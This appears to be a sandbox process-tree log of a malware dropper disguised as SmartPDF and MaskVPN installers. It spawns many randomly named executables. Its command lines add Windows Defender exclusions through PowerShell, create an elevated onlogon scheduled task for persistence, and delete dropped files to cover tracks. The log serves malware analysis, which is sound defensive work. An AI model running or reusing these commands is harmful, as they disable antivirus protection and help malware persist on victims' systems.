C:\Users\Admin\AppData\Local\Temp\is-OARKL.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-OARKL.tmp\Setup.tmp" /SL5="$502D6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-0LMUF.tmp\Setup.exe" /silent /subid=7208⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\8724445.exe"C:\Users\Admin\AppData\Roaming\8724445.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\5636857.exe"C:\Users\Admin\AppData\Roaming\5636857.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6919404.exe"C:\Users\Admin\AppData\Roaming\6919404.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1903207.exe"C:\Users\Admin\AppData\Roaming\1903207.exe"6⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"5⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost32.exeC:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'9⤵
- Creates scheduled task(s)
-
C:\Windows\system32\services32.exe"C:\Windows\system32\services32.exe"8⤵
-
C:\Windows\system32\cmd.exe"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\services32.exe"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"8⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J7FJV.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-J7FJV.tmp\stats.tmp" /SL5="$202D8,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-S5HUE.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-S5HUE.tmp\Setup.exe" /Verysilent7⤵
-
C:\Users\Admin\Documents\P2eh2Oksh_OkStVzHDPpCX39.exe"C:\Users\Admin\Documents\P2eh2Oksh_OkStVzHDPpCX39.exe"8⤵
-
C:\Users\Admin\Documents\73zgZ5qlhnmwMQ7RNB_Ccix7.exe"C:\Users\Admin\Documents\73zgZ5qlhnmwMQ7RNB_Ccix7.exe"8⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe"C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe"8⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 18872 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 27296 -s 2410⤵
- Program crash
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exeC:\Users\Admin\Documents\bsAHMR9SLMNilHc2INYLd0Z4.exe9⤵
-
C:\Users\Admin\Documents\Lxp7jwdHZOLJ0VqnFeKAVNJG.exe"C:\Users\Admin\Documents\Lxp7jwdHZOLJ0VqnFeKAVNJG.exe"8⤵
-
C:\Users\Admin\Documents\Lxp7jwdHZOLJ0VqnFeKAVNJG.exe"C:\Users\Admin\Documents\Lxp7jwdHZOLJ0VqnFeKAVNJG.exe"9⤵
-
C:\Users\Admin\Documents\P_SjpztEd0yJEpcDUK_TrJIf.exe"C:\Users\Admin\Documents\P_SjpztEd0yJEpcDUK_TrJIf.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 9556 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\P_SjpztEd0yJEpcDUK_TrJIf.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 9556 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\P_SjpztEd0yJEpcDUK_TrJIf.exe"9⤵
-
C:\Users\Admin\Documents\0BsZnVdzBdwET1D6pcPv4IV1.exe"C:\Users\Admin\Documents\0BsZnVdzBdwET1D6pcPv4IV1.exe"8⤵
-
